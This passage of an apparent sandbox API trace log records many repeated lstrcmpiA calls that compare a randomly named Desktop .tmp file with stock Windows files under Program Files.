lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 1 [0125.836] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 1 [0125.836] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 1 [0125.836] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 1 [0125.836] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 1 [0125.836] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 1 [0125.836] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 1 [0125.836] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 1 [0125.836] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 1 [0125.836] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 1 [0125.836] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 1 [0125.836] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 1 [0125.836] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 1 [0125.836] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 1 [0125.836] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 1 [0125.836] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 1 [0125.836] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 1 [0125.836] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 1 [0125.836] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 1 [0125.836] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 1 [0125.836] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 1 [0125.836] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 1 [0125.836] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 1 [0125.836] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 1 [0125.837] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 1 [0125.837] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 1 [0125.837] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 1 [0125.837] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 1 [0125.837] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 1 [0125.837] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 1 [0125.837] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 1 [0125.837] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 1 [0125.837] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 1 [0125.837] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 1 [0125.837] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 1 [0125.837] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 1 [0125.837] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 1 [0125.837] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 1 [0125.837] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 1 [0125.837] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 1 [0125.837] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 1 [0125.837] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 1 [0125.837] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 1 [0125.837] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 1 [0125.837] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 1 [0125.837] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 1 [0125.837] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 1 [0125.837] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 1 [0125.837] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 1 [0125.837] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 1 [0125.837] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 1 [0125.837] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 1 [0125.837] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 1 [0125.837] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 1 [0125.837] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned 1 [0125.837] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned 1 [0125.837] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned 1 [0125.837] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml") returned 1 [0125.838] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml") returned 1 [0125.838] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml") returned 1 [0125.838] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg") returned 1 [0125.838] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg") returned 1 [0125.838] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg") returned 1 [0125.838] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png") returned 1 [0125.838] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png") returned 1 [0125.838] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png") returned 1 [0125.838] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg") returned 1 [0125.838] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg") returned 1 [0125.838] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg") returned 1 [0125.838] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png") returned 1 [0125.838] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png") returned 1 [0125.838] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png") returned 1 [0125.838] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb 